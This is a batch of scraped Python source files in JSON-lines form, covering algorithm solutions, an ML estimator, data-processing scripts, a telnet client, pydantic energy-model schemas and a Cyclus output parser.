+{"seq_id":"413612026","text":"\"\"\"\n1024. Video Stitching\n\n# You are given a series of video clips from a sporting event that lasted T seconds.\n# These video clips can be overlapping with each other and have varied lengths.\n\n# Each video clip clips[i] is an interval: it starts at time clips[i][0] and ends at time clips[i][1].\n# We can cut these clips into segments freely: for example, a clip [0, 7] can be cut into segments [0, 1] + [1, 3] + [3, 7].\n\n# Return the minimum number of clips needed so that we can cut the clips into segments that cover the entire sporting event ([0, T]).\n# If the task is impossible, return -1.\n\n\n# Example 1:\n\n# Input: clips = [[0,2],[4,6],[8,10],[1,9],[1,5],[5,9]], T = 10\n# Output: 3\n# Explanation:\n# We take the clips [0,2], [8,10], [1,9]; a total of 3 clips.\n# Then, we can reconstruct the sporting event as follows:\n# We cut [1,9] into segments [1,2] + [2,8] + [8,9].\n# Now we have segments [0,2] + [2,8] + [8,10] which cover the sporting event [0, 10].\n\n# Example 2:\n\n# Input: clips = [[0,1],[1,2]], T = 5\n# Output: -1\n# Explanation:\n# We can't cover [0,5] with only [0,1] and [0,2].\n\n# Example 3:\n\n# Input: clips = [[0,1],[6,8],[0,2],[5,6],[0,4],[0,3],[6,7],[1,3],[4,7],[1,4],[2,5],[2,6],[3,4],[4,5],[5,7],[6,9]], T = 9\n# Output: 3\n# Explanation:\n# We can take clips [0,4], [4,7], and [6,9].\n\n# Example 4:\n\n# Input: clips = [[0,4],[2,8]], T = 5\n# Output: 2\n# Explanation:\n# Notice you can have extra video after the event ends.\n\"\"\"\n\n\nclass VideoStitching:\n\n def doit_greedy(self, clips, T):\n\n clips.sort(key=lambda x: (x[0], -x[1]))\n right, i, count = 0, 0, 0\n\n while right < T:\n\n nextright = right\n while i < len(clips) and clips[i][0] <= right:\n nextright = max(nextright, clips[i][1])\n i += 1\n\n count += 1\n\n if right == nextright:\n return -1\n\n right = nextright\n\n return count\n\n \"\"\"\n Solution 2: Sort + DP\n Sort clips first.\n Then for each clip, update dp[clip[0]] ~ dp[clip[1]].\n\n Time O(NlogN + NT), Space O(T)\n\n \"\"\"\n def doit_dp(self, clips, T):\n \"\"\"\n :param clips:\n :param T:\n :return:\n \"\"\"\n clips.sort(key=lambda x: x[0])\n dp = [float('inf') for _ in range(T+1)]\n dp[0] = 0\n\n for c in clips:\n for i in range(c[0], min(T+1, c[1]+1)):\n dp[i] = min(dp[i], dp[c[0]] + 1)\n\n return -1 if dp[-1] == float('inf') else dp[-1]\n\n def doit_greedy_sort_best(self, clips, T):\n #\n end, end2, res = -1, 0, 0\n\n for i, j in sorted(clips):\n if end2 >= T or i > end2:\n break\n elif end < i <= end2:\n res, end = res + 1, end2\n end2 = max(end2, j)\n return res if end2 >= T else -1\n\n # O(n*log(n))\n def doit_greedy(self, clips, T):\n\n # Greedy\n # 类似的题目都是左端点排序，右端点比大小\n cur_end, aim_end, ans = -1, 0, 0\n clips.sort(key=lambda x: x[0])\n for s, e in clips:\n if aim_end >= T or s > aim_end:\n break\n elif cur_end < s <= aim_end:\n ans += 1\n cur_end = aim_end\n aim_end = max(aim_end, e)\n\n return ans if aim_end >= T else -1\n\n def doit_sort(self, clips, T):\n\n clips.sort(key=lambda x: (x[0], -x[1]))\n\n ans = []\n for c in clips:\n\n if not ans:\n if c[0] != 0:\n return -1\n ans.append(c)\n\n elif c[0] > ans[-1][1]:\n return -1\n elif c[1] <= ans[-1][1]:\n continue\n elif c[0] <= ans[-1][0] and c[1] > ans[-1][1]:\n t = ans.pop()\n ans.append((t[0], c[1]))\n else:\n ans.append((ans[-1][1], c[1]))\n\n if ans and ans[-1][1] >= T:\n return len(ans)\n\n return -1\n\n '''\n First, sort the clips based on the starting time.\n Apply DP to solve this problem\n DP[limit] = Cnt means we can use minimal Cnt clips to cover 0 to limit, inclusive.\n Initially, DP[0] = 0\n When a clip C comes, iterate limits between C[0] and min(T, C[1]), inclusive.\n We can merge interval in this region\n for Limit in range(c[0], newLimit+1):\n DP[newLimit] = min(DP[newLimit], DP[Limit] + 1)\n When last clip is checked, iterate DP list again to find the smallest C that can cover T.\n Time: O(T*n+nlogn), n is the length of clips\n Space: O(T)\n '''\n\n def doit(self, clips, T):\n DP = [0] + [float('inf')] * T\n clips.sort()\n for c in clips:\n if c[0] > T:\n break\n newLimit = min(T, c[1])\n for Limit in range(c[0], newLimit+1):\n DP[newLimit] = min(DP[newLimit], DP[Limit] + 1)\n\n return -1 if DP[-1] == float('inf') else DP[-1]\n\n\nif __name__ == '__main__':\n\n res = VideoStitching().doit(clips=[[0, 2], [4, 6], [8, 10], [1, 9], [1, 5], [5, 9]], T=10)\n\n res = VideoStitching().doit(clips=[[0, 1], [1, 2]], T=5)\n\n res = VideoStitching().doit(clips=[[0, 1], [6, 8], [0, 2], [5, 6], [0, 4], [0, 3], [6, 7], [1, 3], [4, 7], [1, 4], [2, 5], [2, 6], [3, 4], [4, 5], [5, 7], [6, 9]], T=9)\n\n res = VideoStitching().doit(clips=[[0, 4], [2, 8]], T=5)\n\n res = VideoStitching().doit([[5, 7], [1, 8], [0, 0], [2, 3], [4, 5], [0, 6], [5, 10], [7, 10]], 5)","sub_path":"PythonLeetcode/leetcodeM/1024_VideoStitching.py","file_name":"1024_VideoStitching.py","file_ext":"py","file_size_in_byte":5456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"78252349","text":"\"\"\" MINE algorithm core part \"\"\"\n\nimport sys\nimport torch\nimport numpy as np\n\nclass MINE:\n \"\"\" Mutual Information Neural Estimator class \"\"\"\n def __init__(self,\n statistics_network,\n criterion,\n ema_decay):\n \"\"\" Initialize MINE object\n\n Args:\n statistics_network (nn.Module): neural network f(x, z) -> R\n ema_decay (float): decay rate for exponential moving average\n \"\"\"\n assert criterion in ['mine-d', 'mine-f']\n self.statistics_network = statistics_network\n self.ema_decay = ema_decay\n self.criterion = criterion\n self.ema_denominator = None\n self.random_state = np.random.RandomState(0)\n\n def estimate_on_batch(self, x, z):\n \"\"\" Estimate mutual information and return loss function on mini-batch of samples \"\"\"\n self.statistics_network.train()\n\n rand_indices = np.arange(z.size(0))\n self.random_state.shuffle(rand_indices)\n z_marg = z[rand_indices]\n\n T_joint = self.statistics_network(x, z)\n\n T_margin = self.statistics_network(x, z_marg)\n\n if self.criterion == 'mine-d':\n denominator = torch.mean(torch.exp(T_margin))\n\n # Correct biased gradient\n if self.ema_denominator is None:\n self.ema_denominator = denominator\n else:\n self.ema_denominator = ((1.0 - self.ema_decay) * denominator +\n self.ema_decay * self.ema_denominator).detach()\n\n mean_joint = torch.mean(T_joint)\n eMI = (mean_joint - torch.log(denominator))\n loss = -(mean_joint -\n denominator / self.ema_denominator)\n else:\n eMI = (torch.mean(T_joint) -\n torch.mean(torch.exp(T_margin - 1.0)))\n loss = -eMI\n\n return eMI, loss\n\n def estimate_on_dataset(self, loader):\n \"\"\" Estimate mutual information between two distribution\n\n Args:\n loader (DataLoader): Dataloader loads\n mini-batch samples (x, z) from joint distribution p(x, z)\n \"\"\"\n self.statistics_network.eval()\n iterator_joint = iter(loader)\n iterator_marginal = iter(loader)\n\n num_samples = 0.0\n term1, term2 = 0.0, 0.0\n\n try:\n while True:\n x, z = next(iterator_joint)\n _, z_marginal = next(iterator_marginal)\n\n with torch.no_grad():\n statistics_joint = self.statistics_network(x, z)\n statistics_marginal = self.statistics_network(x, z_marginal)\n\n term1 += torch.sum(statistics_joint)\n term2 += torch.sum(torch.exp(statistics_marginal))\n num_samples += statistics_joint.size(0)\n except StopIteration:\n pass\n\n eMI = term1/num_samples - torch.log(term2/num_samples)\n return eMI\n\n","sub_path":"mine.py","file_name":"mine.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"94360916","text":"id#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 18 18:09:33 2020\n\n@author: asif\n\"\"\"\nimport numpy as np\n\n\n\n\n\n\n\ndef Read_lc_qdp(qdp_file_name):\n with open(qdp_file_name,'r') as reader:\n lines=reader.readlines()\n modes=[]\n data=[]\n b=iter(lines[9:])\n data=[]\n block=[]\n for line in b:\n if line[0].isalpha():\n data.append(block)\n block=[] \n line=next(b) \n modes.append(line.strip().split(' ')[1])\n line=next(b)\n line=next(b)\n block.append(line.strip().split('\\t')) \n # print(line)\n data.append(block)\n data.pop(0)\n return [modes,data]\n\n\n\ndef Calc_t_bin(data,r_bin=10.,min_counts=100):\n \"\"\"Takes tdata which has time,count rate. Calculates time bins \n with uniform binning in log with minimum couts\"\"\"\n tstart=data[:,0]\n del_t=np.diff(tstart)\n cr=data[:,3]\n # cr_err=data[:,2]\n del_t=np.insert(del_t, 0, del_t[0])\n \n counts=cr*del_t\n \n t_bin=[0.0,r_bin]\n \n \n while tstart[-1]//t_bin[-1]!=0:\n t_bin.append(t_bin[-1]*r_bin)\n \n total_bins=len(t_bin)\n \n c_bin=[]\n \n for i in range(total_bins-1):\n mask=(tstart >= t_bin[i]) & (tstart<=t_bin[i+1])\n print(counts[mask])\n cum=np.sum(counts[mask])\n c_bin.append(cum)\n \n \n \n indices=[]\n for i in range(total_bins-1):\n if c_bin[i]= self.maxsize:\n raise Exception(\"full error\")\n node = Node(value=value)\n tailnode = self.tailnode() or self.root\n \n tailnode.next = node\n node.prev = tailnode\n node.next = self.root\n self.root.prev = node\n\n self.length += 1\n \n def appendleft(self, value):\n if self.maxsize is not None and self.length >= self.maxsize:\n raise Exception(\"full error\")\n node = Node(value=value)\n if self.root.next == self.root:# empty\n self.root.next = node\n self.root.prev = node\n node.next = self.root\n node.prev = self.root\n else:\n headnode = self.headnode()\n self.root.next = node\n node.prev = self.root\n node.next = headnode\n headnode.prev = node\n\n self.length += 1\n \n def remove(self, node):\n if node is self.root:\n return -1\n else:\n prevnode = node.prev\n nextnode = node.next\n prevnode.next = nextnode\n nextnode.prev = prevnode\n self.length -= 1\n \n def iter_node(self):\n if self.root.next is self.root:\n return\n curnode = self.root.next\n while curnode is not self.root:\n yield curnode\n curnode = curnode.next\n \n def __iter__(self):\n if self.root.next is self.root:\n return\n for node in self.iter_node():\n yield node.value\n \n def iter_node_reverse(self):\n if self.root.next is self.root:\n return\n curnode = self.root.prev\n while curnode is not self.root:\n yield curnode\n curnode = curnode.prev\n\n\ndef test_dll_append():\n dll = CircularDoubleLinkedList()\n dll.append(0)\n dll.append(1) \n assert dll.length == 2\n\ndef test_dll_appendleft():\n dll = CircularDoubleLinkedList()\n dll.append(0)\n dll.append(1)\n assert dll.length == 2\n\ndef test_dll_remove():\n dll = CircularDoubleLinkedList()\n dll.append(0)\n dll.append(1)\n node = dll.headnode()\n dll.remove(node)\n assert dll.length == 1\n\ndef test_dll_iter_node():\n dll = CircularDoubleLinkedList()\n dll.append(0)\n dll.append(1)\n dll.append(2)\n dll.append(3)\n dll.iter_node()\n\ndef test_dll_iter():\n dll = CircularDoubleLinkedList()\n dll.append(0)\n dll.append(1)\n dll.append(2)\n dll.append(3)\n for value in dll:\n print(value)\n\ndef test_dll_iter_node_reverse():\n dll = CircularDoubleLinkedList()\n dll.append(0)\n dll.append(1)\n dll.append(2)\n dll.append(3)\n dll.iter_node_reverse()\n\nif __name__ == \"__main__\":\n test_dll_append()\n test_dll_appendleft()\n test_dll_remove()\n test_dll_iter_node()\n test_dll_iter_node_reverse()\n test_dll_iter()\n\n\n\n \n \n\n","sub_path":"docs/03_链表/my_double_link_list.py","file_name":"my_double_link_list.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"557884430","text":"import cv2\nimport matplotlib.pyplot as plt\n\nBOX_COLOR = (255, 0, 0)\nTEXT_COLOR = (255, 255, 255)\n\ndef Visualize_bbox(img, bbox, class_name, color=BOX_COLOR, thickness=2):\n x_min, y_min, x_max, y_max = bbox\n\n x_min, x_max, y_min, y_max = int(x_min), int(x_max), int(y_min), int(y_max)\n\n cv2.rectangle(img, (x_min, y_min), (x_max, y_max), color=color, thickness=thickness)\n ((text_width, text_height), _) = cv2.getTextSize(class_name, cv2.FONT_HERSHEY_SIMPLEX, 0.35, 1)\n cv2.rectangle(img, (x_min, y_min - int(1.3 * text_height)), (x_min + text_width, y_min), BOX_COLOR, -1)\n cv2.putText(\n img,\n text=class_name,\n org=(x_min, y_min - int(1.3 * text_height)),\n fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n fontScale=0.35,\n color=TEXT_COLOR,\n lineType=cv2.LINE_AA\n )\n return img\n\n\ndef Visualize(image, bboxes, category_ids, category_id_to_name, cropped, image_path, i, m, save_dir = None, color = BOX_COLOR, thickness = 2):\n img = image.copy()\n for bbox, category_id in zip(bboxes, category_ids):\n\n class_name = category_id_to_name.get(category_id)\n if cropped:\n plt.figure(figsize=(12, 12))\n plt.axis('off')\n plt.imshow(img)\n image_path = image_path.replace('.jpg', '')\n plt.savefig(save_dir + '/' + image_path + str(i) + 'crop-' + str(m) + '.jpg')\n else:\n img = Visualize_bbox(img, bbox, class_name, color, thickness)\n plt.figure(figsize=(12, 12))\n plt.axis('off')\n plt.imshow(img)\n plt.show()\n\n\nif __name__ == '__main__':\n print('Done!')\n","sub_path":"Visualize.py","file_name":"Visualize.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"511752341","text":"import torch\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport torch.utils.data\r\nfrom sklearn.datasets import load_digits\r\n\r\n\r\ndef contour_torch(xmin, xmax, ymin, ymax, M, ngrid = 33):\r\n \"\"\"\r\n make a contour plot without the magic\r\n\r\n Note- your network can be passed in as paramter M without any modification.\r\n @param xmin: lowest value of x in the plot\r\n @param xmax: highest value of x in the plot\r\n @param ymin: ditto for y\r\n @param ymax: ditto for y\r\n @param M: prediction function, takes a (X,Y,2) torch tensor as input and returns an (X,Y) torch tensor as output\r\n @param ngrid: \r\n \"\"\"\r\n with torch.no_grad():\r\n (X,Y) = XOR_data()\r\n xgrid = torch.linspace(xmin, xmax, ngrid)\r\n ygrid = torch.linspace(ymin, ymax, ngrid)\r\n (xx, yy) = torch.meshgrid((xgrid, ygrid))\r\n D = torch.cat((xx.reshape(ngrid, ngrid, 1), yy.reshape(ngrid, ngrid, 1)), dim = 2)\r\n zz = M(D)[:,:,0]\r\n cs = plt.contour(xx.cpu().numpy(), yy.cpu().numpy(), zz.cpu().numpy(),\r\n cmap = 'RdYlBu')\r\n plt.clabel(cs)\r\n for i in range(Y.shape[0]):\r\n if Y[i] == 1:\r\n plt.plot(X[i,0],X[i,1],'ro')\r\n if Y[i] == 0:\r\n plt.plot(X[i,0],X[i,1],'bo')\r\n plt.show()\r\n\r\n\r\ndef torch_digits():\r\n \"\"\"\r\n Get the training and test datasets for your convolutional neural network\r\n @return train, val: two torch.utils.data.Datasets\r\n \"\"\"\r\n digits, labels = load_digits(return_X_y=True)\r\n digits = torch.tensor(np.reshape(digits, [-1, 8, 8]), dtype=torch.float)\r\n print(digits.shape)\r\n labels = torch.tensor(np.reshape(labels, [-1]), dtype=torch.long)\r\n val_X = digits[:180,:,:]\r\n val_Y = labels[:180]\r\n digits = digits[180:,:,:]\r\n labels = labels[180:]\r\n train = torch.utils.data.TensorDataset(digits, labels)\r\n val = torch.utils.data.TensorDataset(val_X, val_Y)\r\n return train, val\r\n\r\n\r\ndef XOR_data():\r\n X = torch.tensor([[-1., -1.], [1., -1.], [-1., 1.], [1., 1.]])\r\n Y = (-torch.prod(X, dim=1)+1.)/2 \r\n return X, Y.view(-1,1)\r\n\r\n\r\ndef plot_PCA(intermediate, labels):\r\n \"\"\"\r\n Create a scatterplot of intermediate \r\n @param intermediate: numpy NxD\r\n @param labels: numpy (N,)\r\n \"\"\"\r\n pca = PCA(2)\r\n ft = pca.fit_transform(intermediate)\r\n for i in range(10):\r\n plt.scatter(ft[labels==i,0], ft[labels==i, 1], label=str(i), alpha=0.4)\r\n plt.legend()\r\n plt.show()\r\n\r\n\r\ndef get_image():\r\n \"\"\"\r\n @return img: (N, M, 3) image with values ranging from 0 to 1\r\n \"\"\"\r\n return plt.imread('LunarEclipseCologne_Junius_960.jpg')/255.0 # display image as a float to avoid overflows/underflows\r\n\r\n\r\ndef loss_batch(model, loss_func, xb, yb, opt=None):\r\n \"\"\" Compute the loss of the model on a batch of data, or do a step of optimization.\r\n\r\n @param model: the neural network\r\n @param loss_func: the loss function (can be applied to model(xb), yb)\r\n @param xb: a batch of the training data to input to the model\r\n @param yb: a batch of the training labels to input to the model\r\n @param opt: a torch.optimizer.Optimizer. If not None, use the Optimizer to improve the model. Otherwise, just compute the loss.\r\n @return a numpy array of the loss of the minibatch, and the length of the minibatch\r\n \"\"\"\r\n loss = loss_func(model(xb), yb)\r\n\r\n if opt is not None:\r\n loss.backward()\r\n opt.step()\r\n opt.zero_grad()\r\n\r\n return loss.item(), len(xb) \r\n","sub_path":"hw2/hw2_utils.py","file_name":"hw2_utils.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"97887740","text":"'''\n我们事先了一个telnet客户端的类TelnetClient，调用实例的start()方法\n启动客户端与服务器交互，交互完毕后需调用cleanup()方法，关闭已连接的socket\n以及将操作历史记录写入文件并关闭\n\n能否让telnetClient实例支持上下文管理协议，从而替代手工调用cleanup()方法\n'''\nfrom telnetlib import Telnet\nfrom sys import stdin,stdout\nfrom collections import deque\n\nclass TelnetClient():\n def __init__(self,addr,port=23):\n self.addr=addr\n self.port=port\n self.tn=None\n\n def start(self):\n self.tn=Telnet(self.addr,self.port)\n self.history=deque()\n\n\n\n #user\n t=self.tn.read_until(b\"login: \")\n stdout.write(t)\n user=stdin.readline()\n self.tn.write(user)\n\n #password\n t=self.tn.read_until(b\"Password: \")\n if t.startswith(user[:-1]): t= t[len(user) + 1:]\n stdout.write(t)\n self.tn.write(stdin.readline())\n\n t=self.tn.read_until(b'$ ')\n stdout.write(t)\n while True:\n uinput=stdin.readline()\n if not uinput:\n break\n self.history.append(uinput)\n self.tn.write(uinput)\n t=self.tn.read_until('$ ')\n stdout.write(t[len(uinput)+ 1:])\n\n def cleanup(self):\n self.tn.close()\n self.tn=None\n with open(self.addr+\"_history.txt\",\"w\") as f:\n f.writelines(self.history)\n\nclient=TelnetClient('192.168.0.1')\nprint(\"\\nstrat\")\nclient.start()\nprint(\"\\ncleanup\")\nclient.cleanup()","sub_path":"chapter_seven/如何让对象支持上下文管理？？？.py","file_name":"如何让对象支持上下文管理？？？.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"208957026","text":"def fileWriting(dataList):\n fileExt = 0\n fileName = \" \"\n fileNameFull = \" \"\n WRITE = \"w\"\n print(\"Please enter your file name\")\n fileName = input()\n print(\"Choose extension for your file\\n 1.txt\\n 2.csv\")\n fileExt = int(input(\"Please enter the digit: \"))\n while fileExt != 1 and fileExt != 2:\n fileExt = input(\"Please, choose ext. from the list and enter the digit:\")\n if fileExt == 1:\n fileNameFull = fileName + \".txt\"\n elif fileExt == 2:\n fileNameFull = fileName + \".csv\"\n print(\"File will be saved as \" + fileNameFull)\n with open(fileNameFull, mode = WRITE) as fileToWrite:\n for data in dataList:\n fileToWrite.write(data)\n fileToWrite.close()\n return\n\n#Для сбора информации от пользователя.\n#For input data from user.\ndef dataInput():\n data = \" \"\n dataList = [ ]\n dataListSepar = [ ]\n print(\"Please enter your data (when you will finish, write DONE):\")\n while data != \"DONE\":\n data = input()\n dataList.append(\"\\n\" + data)\n dataList.remove(\"\\nDONE\")\n## Печатает список в нормально виде.\n## dataListSepar = \"\\n\".join(dataList)\n## print(dataListSepar)\n return dataList\n\ndataList = dataInput()\nfileWriting(dataList)\n","sub_path":"funInputWrite.py","file_name":"funInputWrite.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"549303812","text":"\"\"\"Construction Schema\"\"\"\nfrom pydantic import Field, constr\nfrom typing import List, Union\n\nfrom ._base import IDdEnergyBaseModel\nfrom .material import EnergyMaterial, EnergyMaterialNoMass, \\\n EnergyWindowMaterialGas, EnergyWindowMaterialGasCustom, \\\n EnergyWindowMaterialGasMixture, EnergyWindowMaterialSimpleGlazSys, \\\n EnergyWindowMaterialBlind, EnergyWindowMaterialGlazing, EnergyWindowMaterialShade\nfrom .schedule import ScheduleRuleset, ScheduleFixedInterval\n\n\nclass WindowConstructionAbridged(IDdEnergyBaseModel):\n \"\"\"Construction for window objects (Aperture, Door).\"\"\"\n\n type: constr(regex='^WindowConstructionAbridged$') = 'WindowConstructionAbridged'\n\n layers: List[constr(min_length=1, max_length=100)] = Field(\n ...,\n description='List of strings for material identifiers. The order of the '\n 'materials is from exterior to interior.',\n min_items=1,\n max_items=8\n )\n\n\nclass WindowConstruction(WindowConstructionAbridged):\n \"\"\"Construction for window objects (Aperture, Door).\"\"\"\n\n type: constr(regex='^WindowConstruction$') = 'WindowConstruction'\n\n materials: List[\n Union[\n EnergyWindowMaterialGas, EnergyWindowMaterialGasCustom, EnergyWindowMaterialGasMixture,\n EnergyWindowMaterialSimpleGlazSys, EnergyWindowMaterialBlind,\n EnergyWindowMaterialGlazing, EnergyWindowMaterialShade\n ]\n ] = Field(\n ...,\n description='List of materials. The order of the materials is from outside '\n 'to inside.',\n min_items=1,\n max_items=8\n )\n\n\nclass OpaqueConstructionAbridged(IDdEnergyBaseModel):\n \"\"\"Construction for opaque objects (Face, Shade, Door).\"\"\"\n\n type: constr(regex='^OpaqueConstructionAbridged$') = 'OpaqueConstructionAbridged'\n\n layers: List[constr(min_length=1, max_length=100)] = Field(\n ...,\n description='List of strings for material identifiers. The order of the materials '\n 'is from exterior to interior.',\n min_items=1,\n max_items=10\n )\n\n\nclass OpaqueConstruction(OpaqueConstructionAbridged):\n \"\"\"Construction for opaque objects (Face, Shade, Door).\"\"\"\n\n type: constr(regex='^OpaqueConstruction$') = 'OpaqueConstruction'\n\n materials: List[Union[EnergyMaterial, EnergyMaterialNoMass]] = Field(\n ...,\n description='List of materials. The order of the materials is from outside to'\n ' inside.',\n min_items=1,\n max_items=10\n )\n\n\nclass ShadeConstruction(IDdEnergyBaseModel):\n \"\"\"Construction for Shade objects.\"\"\"\n\n type: constr(regex='^ShadeConstruction$') = 'ShadeConstruction'\n\n solar_reflectance: float = Field(\n 0.2,\n ge=0,\n le=1,\n description=' A number for the solar reflectance of the construction.'\n )\n\n visible_reflectance: float = Field(\n 0.2,\n ge=0,\n le=1,\n description=' A number for the visible reflectance of the construction.'\n )\n\n is_specular: bool = Field(\n default=False,\n description='Boolean to note whether the reflection off the shade is diffuse '\n '(False) or specular (True). Set to True if the construction is '\n 'representing a glass facade or a mirror material.'\n )\n\n\nclass AirBoundaryConstructionAbridged(IDdEnergyBaseModel):\n \"\"\"Construction for Air Boundary objects.\"\"\"\n\n type: constr(regex='^AirBoundaryConstructionAbridged$') = \\\n 'AirBoundaryConstructionAbridged'\n\n air_mixing_per_area: float = Field(\n 0.1,\n ge=0,\n description='A positive number for the amount of air mixing between Rooms '\n 'across the air boundary surface [m3/s-m2]. Default: 0.1 corresponds '\n 'to average indoor air speeds of 0.1 m/s (roughly 20 fpm), which is '\n 'typical of what would be induced by a HVAC system.'\n )\n\n air_mixing_schedule: str = Field(\n ...,\n min_length=1,\n max_length=100,\n description='Identifier of a fractional schedule for the air mixing schedule '\n 'across the construction.'\n )\n\n\nclass AirBoundaryConstruction(AirBoundaryConstructionAbridged):\n \"\"\"Construction for Air Boundary objects.\"\"\"\n\n type: constr(regex='^AirBoundaryConstruction$') = 'AirBoundaryConstruction'\n\n air_mixing_schedule: Union[ScheduleRuleset, ScheduleFixedInterval] = Field(\n ...,\n description='A fractional schedule as a ScheduleRuleset or '\n 'ScheduleFixedInterval for the air mixing schedule across '\n 'the construction.'\n )\n\n class Config:\n @staticmethod\n def schema_extra(schema, model):\n schema['properties']['air_mixing_schedule']['anyOf'] = [\n {\"$ref\": \"#/components/schemas/ScheduleRuleset\"},\n {\"$ref\": \"#/components/schemas/ScheduleFixedInterval\"}\n ]\n\n\nif __name__ == '__main__':\n print(WindowConstructionAbridged.schema_json(indent=2))\n print(WindowConstruction.schema_json(indent=2))\n print(OpaqueConstructionAbridged.schema_json(indent=2))\n print(OpaqueConstruction.schema_json(indent=2))\n print(ShadeConstruction.schema_json(indent=2))\n print(AirBoundaryConstruction.schema_json(indent=2))","sub_path":"honeybee_schema/energy/construction.py","file_name":"construction.py","file_ext":"py","file_size_in_byte":5263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"287423940","text":"__author__ = \"Max Dippel, Michael Burkart and Matthias Urban\"\n__version__ = \"0.0.1\"\n__license__ = \"BSD\"\n\nfrom autoPyTorch.pipeline.base.pipeline_node import PipelineNode\nfrom autoPyTorch.utils.config.config_option import ConfigOption, to_bool\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.compose import ColumnTransformer\nimport numpy as np\nimport scipy.sparse\n\nclass OneHotEncoding(PipelineNode):\n def __init__(self):\n super(OneHotEncoding, self).__init__()\n self.encode_Y = False\n\n def fit(self, pipeline_config, X, Y, dataset_info):\n categorical_features = dataset_info.categorical_features\n ohe = OneHotEncoder(categories=\"auto\", sparse=False, handle_unknown=\"ignore\")\n encoder = ColumnTransformer(transformers=[(\"ohe\", ohe, [i for i, f in enumerate(categorical_features) if f])], remainder=\"passthrough\")\n encoder.categories_ = np.array([])\n encoder.categorical_features = categorical_features\n\n if any(categorical_features) and not dataset_info.is_sparse:\n # encode X\n X = encoder.fit_transform(X)\n encoder.categories_ = encoder.transformers_[0][1].categories_\n\n # Y to matrix\n Y, y_encoder = self.complete_y_tranformation(Y)\n\n dataset_info.categorical_features = None\n return {'X': X, 'one_hot_encoder': encoder, 'Y': Y, 'y_one_hot_encoder': y_encoder, 'dataset_info': dataset_info}\n\n def predict(self, pipeline_config, X, one_hot_encoder):\n categorical_features = pipeline_config[\"categorical_features\"]\n if categorical_features and any(categorical_features) and not scipy.sparse.issparse(X):\n X = one_hot_encoder.transform(X)\n return {'X': X, 'one_hot_encoder': one_hot_encoder}\n \n def reverse_transform_y(self, Y, y_one_hot_encoder):\n if y_one_hot_encoder is None:\n return Y\n return y_one_hot_encoder.categories_[0][np.argmax(Y, axis=1)].reshape(-1, 1)\n \n def transform_y(self, Y, y_one_hot_encoder):\n if y_one_hot_encoder is None:\n return Y\n return y_one_hot_encoder.transform(Y.reshape(-1, 1))\n \n def complete_y_tranformation(self, Y):\n # Y to matrix\n y_encoder = None\n Y = Y.astype(np.float32)\n if len(Y.shape) == 1:\n Y = Y.reshape(-1, 1)\n\n # encode Y\n if self.encode_Y:\n y_encoder = OneHotEncoder(sparse=False, categories=\"auto\", handle_unknown='ignore')\n y_encoder.categories_ = np.array([])\n Y = y_encoder.fit_transform(Y)\n return Y, y_encoder","sub_path":"autoPyTorch/pipeline/nodes/one_hot_encoding.py","file_name":"one_hot_encoding.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"540372441","text":"import json\nfrom cyclus.lib import Hdf5Back\nimport uuid\nimport csv\nfrom pyne import nucname\n\n'''\nThis Object is very customize right now !!!! \n'''\n\n\n# This class is defined to extract the attribute value from input json file\nclass JSONReader:\n def __init__(self, data):\n self.data = data\n\n def setData(self, data):\n self.data = data\n\n def getReactorAttribute(self, att):\n return self.data['simulation']['facility'][2]['config']['Reactor'][att]\n\n def getControlAttribute(self, att):\n return self.data['simulation']['control'][att]\n\n def getInstitutionAttribute(self, att):\n return self.data['simulation']['region']['institution']['config']['DeployInst'][att]['val'][2]\n\n def getAttribute(self):\n attributes = []\n attributes.append(self.getReactorAttribute('refuel_time'))\n attributes.append(self.getReactorAttribute('cycle_time'))\n attributes.append(self.getReactorAttribute('power_cap'))\n attributes.append(self.getControlAttribute('duration'))\n attributes.append(self.getInstitutionAttribute('build_times'))\n attributes.append(self.getInstitutionAttribute('lifetimes'))\n return attributes\n\n\nclass HDF5Reader:\n def __init__(self, db):\n self.db = db\n\n def setDB(self, db):\n self.db = db\n\n def getU235(self):\n pass\n\n def getTotalPower(self):\n TimeSeriesPower = db.query('TimeSeriesPower')\n SUM = 0\n for i, sid in enumerate(TimeSeriesPower.SimId):\n SUM += TimeSeriesPower.loc[i].Value\n return SUM\n def getTables(self):\n return db.tables\n\n\n######################################################################################################\n\noutput = [['refuel_time', 'cycle_time', 'power_cap', 'duration', 'build_times', 'lifetimes', 'Totalpower']]\nfor i in range(0, 100):\n with open('new' + str(i) + '.json', 'r') as f:\n data = json.load(f)\n db = Hdf5Back('out' + str(i) + '.h5')\n\n jsonreader = JSONReader(data)\n hdfread = HDF5Reader(db)\n tables = hdfread.getTables()\n\n entry = jsonreader.getAttribute()\n if \"TimeSeriesPower\" in tables:\n entry.append(hdfread.getTotalPower())\n else:\n entry.append(0)\n output.append(entry)\n\nwith open('output.csv', 'w') as f:\n write = csv.writer(f)\n for entry in output:\n write.writerow(entry)\n","sub_path":"input/DataParser.py","file_name":"DataParser.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"425097335","text":"import subprocess\nimport random\nimport numpy as np\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom 